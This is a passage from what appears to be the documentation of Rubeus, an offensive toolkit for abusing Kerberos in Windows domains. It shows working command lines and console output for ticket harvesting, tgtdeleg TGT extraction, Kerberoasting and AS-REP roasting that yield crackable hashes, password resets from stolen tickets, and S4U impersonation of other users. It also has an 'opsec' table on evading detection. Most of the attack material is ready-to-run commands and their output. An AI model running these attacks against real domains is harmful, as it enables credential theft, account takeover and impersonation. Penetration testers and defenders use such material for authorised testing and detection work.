    EndTime                  : 2/11/2019 8:19:13 PM
    RenewUntil               : 2/18/2019 3:19:13 PM
    TimeSkew                 : 0
    EncodedTicketSize        : 1306
    Base64EncodedTicket      :

    doIFFjCCBRKgAwIBBaEDAgEWoo...(snip)...

    ...(snip)...

UserName                 : WINDOWS10$
Domain                   : TESTLAB
LogonId                  : 0x3e4
UserSID                  : S-1-5-20
AuthenticationPackage    : Negotiate
LogonType                : Service
LogonTime                : 2/7/2019 4:51:20 PM
LogonServer              : 
LogonServerDNSDomain     : testlab.local
UserPrincipalName        : WINDOWS10$@testlab.local

    [*] Enumerated 4 ticket(s):

    ServiceName              : krbtgt/TESTLAB.LOCAL
    TargetName               : krbtgt/TESTLAB.LOCAL
    ClientName               : WINDOWS10$
    DomainName               : TESTLAB.LOCAL
    TargetDomainName         : TESTLAB.LOCAL
    AltTargetDomainName      : TESTLAB.LOCAL
    SessionKeyType           : rc4_hmac
    Base64SessionKey         : 0NgsSyZ/XOCTi9wLR1z9Kg==
    KeyExpirationTime        : 12/31/1600 4:00:00 PM
    TicketFlags              : name_canonicalize, pre_authent, renewable, forwarded, forwardable
    StartTime                : 2/11/2019 3:23:50 PM
    EndTime                  : 2/11/2019 7:23:48 PM
    RenewUntil               : 2/18/2019 2:23:48 PM
    TimeSkew                 : 0
    EncodedTicketSize        : 1304
    Base64EncodedTicket      :

    doIFFDCCBRCgAwIBBaEDAgEWoo...(snip)...

    ...(snip)...


[*] Enumerated 20 total tickets
[*] Extracted  9 total tickets

tgtdeleg

The tgtdeleg using @gentilkiwi's Kekeo trick (tgt::deleg) that abuses the Kerberos GSS-API to retrieve a usable TGT for the current user without needing elevation on the host. AcquireCredentialsHandle() is used to get a handle to the current user's Kerberos security credentials, and InitializeSecurityContext() with the ISC_REQ_DELEGATE flag and a target SPN of HOST/DC.domain.com to prepare a fake delegate context to send to the DC. This results in an AP-REQ in the GSS-API output that contains a KRB_CRED in the authenticator checksum. The service ticket session key is extracted from the local Kerberos cache and is used to decrypt the KRB_CRED in the authenticator, resulting in a usable TGT .kirbi.

If automatic target/domain extraction is failing, a known SPN of a service configured with unconstrained delegation can be specified with /target:SPN.

C:\Rubeus>Rubeus.exe tgtdeleg

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3


[*] Action: Request Fake Delegation TGT (current user)

[*] No target SPN specified, attempting to build 'HOST/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'HOST/PRIMARY.testlab.local'
[+] Kerberos GSS-API initialization success!
[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: YnEFxPfqw3LdfNvLtdFfzaFf7zG3hG+HNjesy+6R+ys=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):

    doIFNjCCBTKgAwIBBaEDAgEWoo...(snip)...

monitor

The monitor action will monitor the event log for 4624 logon events and will extract any new TGT tickets for the new logon IDs (LUIDs). The /interval:X parameter (in seconds, default of 60) specifies how often to check the event log. A /filteruser:USER can be specified, returning only ticket data for said user. This function is especially useful on servers with unconstrained delegation enabled ;)

When the /filteruser:USER (or if not specified, any user) creates a new 4624 logon event, any extracted TGT KRB-CRED data is output.

Further, if you wish to save the output to the registry, pass the /registry flag and specfiy a path under HKLM to create (e.g., /registry:SOFTWARE\MONITOR). Then you can remove this entry after you've finished running Rubeus by Get-Item HKLM:\SOFTWARE\MONITOR\ | Remove-Item -Recurse -Force.

c:\Rubeus>Rubeus.exe monitor /filteruser:dfm.a

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.0.0

[*] Action: TGT Monitoring
[*] Monitoring every 60 seconds for 4624 logon events
[*] Target user : dfm.a


[+] 9/17/2018 7:59:02 PM - 4624 logon event for 'TESTLAB.LOCAL\dfm.a' from '192.168.52.100'
[*] Target LUID     : 0x991972
[*] Target service  : krbtgt

  UserName                 : dfm.a
  Domain                   : TESTLAB
  LogonId                  : 10033522
  UserSID                  : S-1-5-21-883232822-274137685-4173207997-1110
  AuthenticationPackage    : Kerberos
  LogonType                : Network
  LogonTime                : 9/18/2018 2:59:02 AM
  LogonServer              :
  LogonServerDNSDomain     : TESTLAB.LOCAL
  UserPrincipalName        :

    ServiceName              : krbtgt
    TargetName               :
    ClientName               : dfm.a
    DomainName               : TESTLAB.LOCAL
    TargetDomainName         : TESTLAB.LOCAL
    AltTargetDomainName      : TESTLAB.LOCAL
    SessionKeyType           : aes256_cts_hmac_sha1
    Base64SessionKey         : orxXJZ/r7zbDvo2JUyFfi+2ygcZpxH8e6phGUT5zDbc=
    KeyExpirationTime        : 12/31/1600 4:00:00 PM
    TicketFlags              : name_canonicalize, renewable, forwarded, forwardable
    StartTime                : 9/17/2018 7:59:02 PM
    EndTime                  : 9/18/2018 12:58:59 AM
    RenewUntil               : 9/24/2018 7:58:59 PM
    TimeSkew                 : 0
    EncodedTicketSize        : 1470
    Base64EncodedTicket      :

      doIFujCCBbagAwIBBaE...(snip)...


[*] Extracted  1 total tickets

Note that this action needs to be run from an elevated context!

harvest

The harvest action takes monitor one step further. It monitors the event log for 4624 events every /interval:MINUTES for new logons, extracts any new TGT KRB-CRED files, and keeps a cache of any extracted TGTs. On the /interval, any TGTs that will expire before the next interval are automatically renewed (up until their renewal limit), and the current cache of "usable"/valid TGT KRB-CRED .kirbis are output as base64 blobs.

This allows you to harvest usable TGTs from a system without opening up a read handle to LSASS, though elevated rights are needed to extract the tickets.

Further, if you wish to save the output to the registry, pass the /registry flag and specfiy a path under HKLM to create (e.g., /registry:SOFTWARE\MONITOR). Then you can remove this entry after you've finished running Rubeus by Get-Item HKLM:\SOFTWARE\MONITOR\ | Remove-Item -Recurse -Force.

c:\Rubeus>Rubeus.exe harvest /interval:30

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v0.0.1a

[*] Action: TGT Harvesting (w/ auto-renewal)

[*] Monitoring every 30 minutes for 4624 logon events

...(snip)...

[*] Renewing TGT for dfm.a@TESTLAB.LOCAL
[*] Connecting to 192.168.52.100:88
[*] Sent 1520 bytes
[*] Received 1549 bytes

[*] 9/17/2018 6:43:02 AM - Current usable TGTs:

User                  :  dfm.a@TESTLAB.LOCAL
StartTime             :  9/17/2018 6:43:02 AM
EndTime               :  9/17/2018 11:43:02 AM
RenewTill             :  9/24/2018 2:07:48 AM
Flags                 :  name_canonicalize, renewable, forwarded, forwardable
Base64EncodedTicket   :

    doIFujCCBbagAw...(snip)...

Note that this action needs to be run from an elevated context!

Roasting

Breakdown of the roasting commands:

Command Description
kerberoast Perform Kerberoasting against all (or specified) users
asreproast Perform AS-REP roasting against all (or specified) users

kerberoast

The kerberoast action replaces the SharpRoast project's functionality. Like SharpRoast, this action uses the KerberosRequestorSecurityToken.GetRequest Method() method that was contributed to PowerView by @machosec in order to request the proper service ticket (for default behavior, opsec table for more detail). Unlike SharpRoast, this action now performs proper ASN.1 parsing of the result structures.

With no other arguments, all user accounts with SPNs set in the current domain are Kerberoasted, requesting their highest supported encryption type (see the opsec table). The /spn:X argument roasts just the specified SPN, the /user:X argument roasts just the specified user, and the /ou:X argument roasts just users in the specific OU. The /domain and /dc arguments are optional, pulling system defaults as other actions do.

The /outfile:FILE argument outputs roasted hashes to the specified file, one per line.

If the the TGT /ticket:X supplied (base64 encoding of a .kirbi file or the path to a .kirbi file on disk) that TGT is used to request the service service tickets during roasting. If /ticket:X is used with /spn:Y then no LDAP searching happens for users, so it can be done from a non-domain joined system in conjunction with /dc:Z.

If the /tgtdeleg flag is supplied, the tgtdeleg trick it used to get a usable TGT for the current user, which is then used for the roasting requests. If this flag is used, accounts with AES enabled in msDS-SupportedEncryptionTypes will have RC4 tickets requested.

If the /aes flag is supplied, accounts with AES encryption enabled in msDS-SupportedEncryptionTypes are enumerated and AES service tickets are requested.

If the /rc4opsec flag is specified, the tgtdeleg trick is used, and accounts without AES enabled are enumerated and roasted.

If you want to use alternate domain credentials for Kerberoasting (and searching for users to Kerberoast), they can be specified with /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD.

kerberoasting opsec

Here is a table comparing the behavior of various flags from an opsec perspective:

Arguments Description
none Use KerberosRequestorSecurityToken roasting method, roast w/ highest supported encryption
/tgtdeleg Use the tgtdeleg trick to perform TGS-REQ requests of RC4-enabled accounts, roast all accounts w/ RC4 specified
/ticket:X Use the supplied TGT blob/file for TGS-REQ requests, roast all accounts w/ RC4 specified
/rc4opsec Use the tgtdeleg trick, enumerate accounts without AES enabled, roast w/ RC4 specified
/aes Enumerate accounts with AES enabled, use KerberosRequestorSecurityToken roasting method, roast w/ highest supported encryption
/aes /tgtdeleg Use the tgtdeleg trick, enumerate accounts with AES enabled, roast w/ AES specified

Kerberoasting all users in the current domain:

C:\Rubeus>Rubeus.exe kerberoast

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.4


[*] Action: Kerberoasting


[*] SamAccountName         : harmj0y
[*] DistinguishedName      : CN=harmj0y,CN=Users,DC=testlab,DC=local
[*] ServicePrincipalName   : asdf/asdfasdf
[*] Hash                   : $krb5tgs$23$*$testlab.local$asdf/asdfasdf*$AE5F019D4CDED6CD74830CC...(snip)...


[*] SamAccountName         : sqlservice
[*] DistinguishedName      : CN=SQL,CN=Users,DC=testlab,DC=local
[*] ServicePrincipalName   : MSSQLSvc/SQL.testlab.local
[*] Hash                   : $krb5tgs$23$*$testlab.local$MSSQLSvc/SQL.testlab.local*$E2B3869290...(snip)...


[*] SamAccountName         : patsy
[*] DistinguishedName      : CN=patsy,CN=Users,DC=testlab,DC=local
[*] ServicePrincipalName   : blah/nonexistent
[*] Hash                   : $krb5tgs$23$*$testlab.local$blah/nonexistent*$139799341096C26C727D...(snip)...


[*] SamAccountName         : andy
[*] DistinguishedName      : CN=andy,CN=Users,DC=testlab,DC=local
[*] ServicePrincipalName   : blah/blah
[*] Hash                   : $krb5tgs$23$*$testlab.local$blah/blah*$83E94269D80BD2466AB05F1F557...(snip)...


[*] SamAccountName         : testuser2
[*] DistinguishedName      : CN=testuser2,OU=TestingOU,DC=testlab,DC=local
[*] ServicePrincipalName   : service/host
[*] Hash                   : $krb5tgs$23$*$testlab.local$service/host*$5E231977A1E3D3E4BD8FBC2A...(snip)...


[*] SamAccountName         : constraineduser
[*] DistinguishedName      : CN=constraineduser,CN=Users,DC=testlab,DC=local
[*] ServicePrincipalName   : BLAH123/BLAH123
[*] Hash                   : $krb5tgs$23$*$testlab.local$BLAH123/BLAH123*$7488D1379F05ADEDE5C20...(snip)...

Kerberoasting all users in a specific OU, saving the hashes to an output file:

C:\Rubeus>Rubeus.exe kerberoast /ou:OU=TestingOU,DC=testlab,DC=local /outfile:C:\Temp\hashes.txt

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.4


[*] Action: Kerberoasting

[*] Target OU              : OU=TestingOU,DC=testlab,DC=local

[*] SamAccountName         : testuser2
[*] DistinguishedName      : CN=testuser2,OU=TestingOU,DC=testlab,DC=local
[*] ServicePrincipalName   : service/host
[*] Hash written to C:\Temp\hashes.txt

[*] Roasted hashes written to : C:\Temp\hashes.txt

Kerberoasting a specific user:

C:\Rubeus>Rubeus.exe kerberoast /user:sqlservice

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.4

[*] Action: Kerberoasting

[*] Target User            : sqlservice

[*] SamAccountName         : sqlservice
[*] DistinguishedName      : CN=SQL,CN=Users,DC=testlab,DC=local
[*] ServicePrincipalName   : MSSQLSvc/SQL.testlab.local
[*] Hash                   : $krb5tgs$23$*sqlservice$testlab.local$MSSQLSvc/SQL.testlab.local*$E2B386...(snip)...

Kerberoasting a specific SPN:

C:\Rubeus>Rubeus.exe kerberoast /spn:MSSQLSvc/SQL.testlab.local

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

[*] Action: Kerberoasting

[*] Target SPN             : MSSQLSvc/SQL.testlab.local
[*] Hash                   : $krb5tgs$23$*$DOMAIN$MSSQLSvc/SQL.testlab.local*$E2B3869290BA2AD82...(snip)...

Kerberoasting all users in a foreign trusting domain:

C:\Rubeus>Rubeus.exe kerberoast /domain:dev.testlab.local

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.4


[*] Action: Kerberoasting

[*] Target Domain          : dev.testlab.local

[*] SamAccountName         : jason
[*] DistinguishedName      : CN=jason,CN=Users,DC=dev,DC=testlab,DC=local
[*] ServicePrincipalName   : test/test
[*] Hash                   : $krb5tgs$23$*$dev.testlab.local$test/test@dev.testlab.local*$969339A82...(snip)...

Kerberoasting users in a foreign non-trusting domain using alternate credentials:

C:\Rubeus>Rubeus.exe kerberoast /domain:external.local /creduser:"EXTERNAL.local\administrator" /credpassword:"Password123!"

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.4


[*] Action: Kerberoasting

[*] Target Domain          : external.local
[*] Using alternate creds  : EXTERNAL.local\administrator

[*] SamAccountName         : admanagement
[*] DistinguishedName      : CN=admanagement,CN=Users,DC=external,DC=local
[*] ServicePrincipalName   : RestrictedKrbHost/server.external.local
[*] Hash                   : $krb5tgs$23$*$external.local$RestrictedKrbHost/server.external.local@external.lo
                            cal*$28F02F1AF08F9335C...(snip)...

Kerberoasting using an existing TGT:

C:\Rubeus>Rubeus.exe kerberoast /ticket:doIFujCCBbagAwIBBaEDAgEWoo...(snip)... /spn:"asdf/asdfasdf" /dc:primary.testlab.local

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.5


[*] Action: Kerberoasting

[*] Using a TGT /ticket to request service tickets

[*] Target SPN             : asdf/asdfasdf
[*] Hash                   : $krb5tgs$23$*USER$DOMAIN$asdf/asdfasdf*$4EFF99FDED690AB4616EB...(snip)...

"Opsec" Kerberoasting, using the tgtdeleg trick, filtering out AES-enabled accounts:

C:\Rubeus>Rubeus.exe kerberoast /rc4opsec

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.6


[*] Action: Kerberoasting

[*] Using 'tgtdeleg' to request a TGT for the current user
[*] Searching the current domain for Kerberoastable users
[*] Searching for accounts that only support RC4_HMAC, no AES

[*] Found 6 users to Kerberoast!

[*] SamAccountName         : harmj0y
[*] DistinguishedName      : CN=harmj0y,CN=Users,DC=testlab,DC=local
[*] ServicePrincipalName   : asdf/asdfasdf
[*] Supported ETypes       : RC4_HMAC_DEFAULT
[*] Hash                   : $krb5tgs$23$*harmj0y$testlab.local$asdf/asdfasdf*$6B4AD4B61D37D54...(snip)...

asreproast

The asreproast action replaces the ASREPRoast project which executed similar actions with the (larger sized) BouncyCastle library. If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting. For more technical information, see this post.

Just as with the kerberoast command, if no other arguments are supplied, all user accounts not requiring with Kerberos preauth not required are roasted. The /user:X argument roasts just the specified user, and the /ou:X argument roasts just users in the specific OU. The /domain and /dc arguments are optional, pulling system defaults as other actions do.

The /outfile:FILE argument outputs roasted hashes to the specified file, one per line.

Also, if you wanted to use alternate domain credentials for kerberoasting, that can be specified with /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD.

The output /format:X defaults to John the Ripper (Jumbo version). /format:hashcat is also an option for the new hashcat mode 18200.

AS-REP roasting all users in the current domain:

C:\Rubeus>Rubeus.exe asreproast

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.4


[*] Action: AS-REP roasting

[*] Target Domain          : testlab.local

[*] SamAccountName         : dfm.a
[*] DistinguishedName      : CN=dfm.a,CN=Users,DC=testlab,DC=local
[*] Using domain controller: testlab.local (192.168.52.100)
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 163 bytes
[*] Received 1537 bytes
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:

    $krb5asrep$dfm.a@testlab.local:D4A4BC281B200EE35CBF4A4537792D07$D655...(snip)...

[*] SamAccountName         : TestOU3user
[*] DistinguishedName      : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
[*] Using domain controller: testlab.local (192.168.52.100)
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user'
[*] Connecting to 192.168.52.100:88
[*] Sent 169 bytes
[*] Received 1437 bytes
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:

    $krb5asrep$TestOU3user@testlab.local:DD6DF16B7E65223679CD703837C94FB...(snip)..

[*] SamAccountName         : harmj0y2
[*] DistinguishedName      : CN=harmj0y2,CN=Users,DC=testlab,DC=local
[*] Using domain controller: testlab.local (192.168.52.100)
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\harmj0y2'
[*] Connecting to 192.168.52.100:88
[*] Sent 166 bytes
[*] Received 1407 bytes
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:

    $krb5asrep$harmj0y2@testlab.local:7D2E379A076BB804AF275ED51B86BF85$8...(snip)..

AS-REP roasting all users in a specific OU, saving the hashes to an output file in Hashcat format:

C:\Rubeus>Rubeus.exe asreproast /ou:OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local /format:hashcat /outfile:C:\Temp\hashes.txt

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.4


[*] Action: AS-REP roasting

[*] Target OU              : OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
[*] Target Domain          : testlab.local

[*] SamAccountName         : TestOU3user
[*] DistinguishedName      : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
[*] Using domain controller: testlab.local (192.168.52.100)
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user'
[*] Connecting to 192.168.52.100:88
[*] Sent 169 bytes
[*] Received 1437 bytes
[+] AS-REQ w/o preauth successful!
[*] Hash written to C:\Temp\hashes.txt

[*] Roasted hashes written to : C:\Temp\hashes.txt

AS-REP roasting a specific user:

C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.4


[*] Action: AS-REP roasting

[*] Target User            : TestOU3user
[*] Target Domain          : testlab.local

[*] SamAccountName         : TestOU3user
[*] DistinguishedName      : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local
[*] Using domain controller: testlab.local (192.168.52.100)
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user'
[*] Connecting to 192.168.52.100:88
[*] Sent 169 bytes
[*] Received 1437 bytes
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:

    $krb5asrep$TestOU3user@testlab.local:858B6F645D9F9B57210292E5711E0...(snip)...

AS-REP roasting all users in a foreign trusting domain:

C:\Rubeus>Rubeus.exe asreproast /domain:dev.testlab.local

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.4


[*] Action: AS-REP roasting

[*] Target Domain          : dev.testlab.local

[*] SamAccountName         : devuser3
[*] DistinguishedName      : CN=devuser3,CN=Users,DC=dev,DC=testlab,DC=local
[*] Using domain controller: dev.testlab.local (192.168.52.105)
[*] Building AS-REQ (w/o preauth) for: 'dev.testlab.local\devuser3'
[*] Connecting to 192.168.52.105:88
[*] Sent 175 bytes
[*] Received 1448 bytes
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:

    $krb5asrep$devuser3@dev.testlab.local:650B881E44B92FB6A378DD21E8B020...(snip)...

AS-REP roasting users in a foreign non-trusting domain using alternate credentials:

C:\Rubeus>Rubeus.exe asreproast /domain:external.local /creduser:"EXTERNAL.local\administrator" /credpassword:"Password123!"

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.4


[*] Action: AS-REP roasting

[*] Target Domain          : external.local

[*] Using alternate creds  : EXTERNAL.local\administrator

[*] SamAccountName         : david
[*] DistinguishedName      : CN=david,CN=Users,DC=external,DC=local
[*] Using domain controller: external.local (192.168.52.95)
[*] Building AS-REQ (w/o preauth) for: 'external.local\david'
[*] Connecting to 192.168.52.95:88
[*] Sent 165 bytes
[*] Received 1376 bytes
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:

    $krb5asrep$david@external.local:9F5A33465C53056F17FEFDF09B7D36DD$47DBAC3...(snip)...

Miscellaneous

Breakdown of the miscellaneous commands:

Command Description
createnetonly Create a process of logon type 9
changepw Perform the Aorato Kerberos password reset
hash Hash a plaintext password to Kerberos encryption keys
tgssub Substitute in alternate service names into a service ticket

createnetonly

The createnetonly action will use the CreateProcessWithLogonW() API to create a new hidden (unless /show is specified) process with a SECURITY_LOGON_TYPE of 9 (NewCredentials), the equivalent of runas /netonly. The process ID and LUID (logon session ID) are returned. This process can then be used to apply specific Kerberos tickets to with the ptt /luid:0xA.. parameter, assuming elevation. This prevents the erasure of existing TGTs for the current logon session.

Create a hidden upnpcont.exe process:

C:\Rubeus>Rubeus.exe createnetonly /program:"C:\Windows\System32\upnpcont.exe"

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3


[*] Action: Create Process (/netonly)

[*] Showing process : False
[+] Process         : 'C:\Windows\System32\upnpcont.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 9936
[+] LUID            : 0x4a0717f

Create a visible command prompt:

C:\Rubeus>Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3


[*] Action: Create Process (/netonly)

[*] Showing process : True
[+] Process         : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 5352
[+] LUID            : 0x4a091c0

changepw

The changepw action will take a user's TGT .kirbi blog and execute a MS kpasswd password change with the specified /new:PASSWORD value. If a /dc is not specified, the computer's current domain controller is extracted and used as the destination for the password reset traffic. This is the Aorato Kerberos password reset disclosed in 2014, and is equivalent to Kekeo's misc::changepw function.

You can retrieve a TGT blob using the asktgt command.

C:\Rubeus>Rubeus.exe changepw /ticket:doIFFjCCBRKgA...(snip)...== /new:Password123!

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.3.3

[*] Action: Reset User Password (AoratoPw)

[*] Changing password for user: harmj0y@TESTLAB.LOCAL
[*] New password value: Password123!
[*] Building AP-REQ for the MS Kpassword request
[*] Building Authenticator with encryption key type: rc4_hmac
[*] base64(session subkey): nX2FOQ3RsGxoI8uqIg1zlg==
[*] Building the KRV-PRIV structure
[*] Connecting to 192.168.52.100:464
[*] Sent 1347 bytes
[*] Received 167 bytes
[+] Password change success!

hash

The hash action will take a /password:X and optional /user:USER and/or /domain:DOMAIN. It will generate the rc4_hmac (NTLM) representation of the password using @gentilkiwi's kerberos:hash (KERB_ECRYPT HashPassword) approach. If user and domain names are specified, the aes128_cts_hmac_sha1, aes256_cts_hmac_sha1, and des_cbc_md5 hash forms are generated. The user and domain names are used as salts for the AES and DES implementations.

Calculating the rc4_hmac of a password:

C:\Rubeus>Rubeus.exe hash /password:Password123!

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.4.0


[*] Action: Calculate Password Hashes

[*] Input password             : Password123!
[*]       rc4_hmac             : 2B576ACBE6BCFDA7294D6BD18041B8FE

[!] /user:X and /domain:Y need to be supplied to calculate AES and DES hash types!

Calculating all hash formats:

C:\Rubeus>Rubeus.exe hash /password:Password123! /user:harmj0y /domain:testlab.local

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.4.0


[*] Action: Calculate Password Hashes

[*] Input password             : Password123!
[*] Input username             : harmj0y
[*] Input domain               : testlab.local
[*] Salt                       : TESTLAB.LOCALharmj0y
[*]       rc4_hmac             : 2B576ACBE6BCFDA7294D6BD18041B8FE
[*]       aes128_cts_hmac_sha1 : B0A79AB550536860123B427C14F2A531
[*]       aes256_cts_hmac_sha1 : F7FEBF9779401B653911A56A79FF9E3A58F7F8990FDB3D9CA0E89227ABF13287
[*]       des_cbc_md5          : 614589E66D6B3792

tgssub

The tgssub action will take a service ticket base64 blob/file specification and substitute an alternate service name into the ticket. This is useful for S4U abuse and other scenarios.

The /altservice:X flag is required and can either be a standalone sname (ldap, cifs, etc.) or a full service principal name (cifs/computer.domain.com). The latter is useful in some S4U2self abuse scenarios with resource-based constrained delegation. See Elad Shamir's post on the topic for more information.

The /ptt flag will "pass-the-ticket" and apply the resulting Kerberos credential to the current logon session. The /luid:0xA.. flag will apply the ticket to the specified logon session ID (elevation needed) instead of the current logon session.

Executing the S4U2self/S4U2proxy proces to abuse traditional constrained delegation, and replacing the sname in the final ticket. This is so you don't have to execute the S4U process for a second time:

C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2B576ACBE6BCFDA7294D6BD18041B8FE /msdsspn:ldap/PRIMARY.testlab.local /impersonateuser:harmj0y /ptt

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.4.2

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 2B576ACBE6BCFDA7294D6BD18041B8FE
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[+] TGT request successful!
[*] base64(ticket.kirbi):

    doIE+jCCBPagAwIBBaEDAgEWoo...(snip)...


[*] Action: S4U

[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'patsy@TESTLAB.LOCAL'
[*] Sending S4U2self request
[+] S4U2self success!
[*] Got a TGS for 'harmj0y@TESTLAB.LOCAL' to 'patsy@TESTLAB.LOCAL'
[*] base64(ticket.kirbi):

    doIFXjCCBVqgAwIBBaEDAgEWoo...(snip)...

[*] Impersonating user 'harmj0y' to target SPN 'ldap/PRIMARY.testlab.local'
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local'
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'ldap/PRIMARY.testlab.local':

    doIGPjCCBjqgAwIBBaEDAgEWoo...(snip)...

[*] Action: Import Ticket
